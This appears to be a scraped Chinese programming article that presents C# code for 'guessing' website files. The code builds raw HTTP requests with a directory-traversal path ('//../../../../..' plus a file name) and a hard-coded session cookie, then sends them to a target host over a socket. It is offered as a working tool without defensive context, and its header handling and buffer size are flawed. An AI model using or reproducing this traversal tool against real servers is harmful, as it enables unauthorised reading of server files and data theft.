c#使用程序猜解网站文件
2021/5/1 20:25:40
本文主要是介绍c#使用程序猜解网站文件,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
public static string PostData(string file) { string strHTML = "";//用来保存获得的HTML代码 string sendString; sendString = "GET //../../../../../../../.." + file + " HTTP/1.1\r\n"; sendString += "Cookie: SESSIONID=1531169f08777da4\r\n\r\n"; sendString += "Host: aaa.com\r\n"; sendString += "Connection: Keep-alive\r\n"; sendString += "Accept-Encoding: gzip,deflate\r\n"; sendString += "User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36\r\n"; sendString += "Accept: */*\r\n"; //sendString = string.Format(sendString, file); Byte[] ByteGet = Encoding.GetEncoding("utf-8").GetBytes(sendString); IPAddress hostadd = Dns.GetHostEntry("aaa.com").AddressList[0]; IPEndPoint EPhost = new IPEndPoint(hostadd, 80); Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); s.Connect(EPhost); if (!s.Connected) { strHTML = "链接主机失败"; } s.Send(ByteGet, ByteGet.Length, SocketFlags.None); strHTML = Recv(s, Encoding.GetEncoding("utf-8")); return strHTML; } public static String Recv(Socket sock, Encoding encode) { Byte[] buffer = new Byte[1024000000]; StringBuilder sb = new StringBuilder(); Thread.Sleep(2500);//根据页面响应时间进行微调 Int32 len = sock.Receive(buffer); Console.WriteLine("socket.Available:" + sock.Available); sb.Append(encode.GetString(buffer, 0, len)); while (sock.Available > 0) { Thread.Sleep(1000);//也可以视情况微调 Array.Clear(buffer, 0, buffer.Length); len = sock.Receive(buffer); Console.WriteLine("socket.Available:" + sock.Available); Console.WriteLine("接收:" + len + " B"); sb.Append(encode.GetString(buffer, 0, len)); string ss = encode.GetString(buffer, 0, len); } sock.Close(); return sb.ToString(); }
这篇关于c#使用程序猜解网站文件的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2022-03-01沐雪多租宝商城源码从.NetCore3.1升级到.Net6的步骤
- 2024-11-18微软研究:RAG系统的四个层次提升理解与回答能力
- 2024-11-15C#中怎么从PEM格式的证书中提取公钥?-icode9专业技术文章分享
- 2024-11-14云架构设计——如何用diagrams.net绘制专业的AWS架构图?
- 2024-05-08首个适配Visual Studio平台的国产智能编程助手CodeGeeX正式上线!C#程序员必备效率神器!
- 2024-03-30C#设计模式之十六迭代器模式(Iterator Pattern)【行为型】
- 2024-03-29c# datetime tryparse
- 2024-02-21list find index c#
- 2024-01-24convert toint32 c#
- 2024-01-24Advanced .Net Debugging 1:你必须知道的调试工具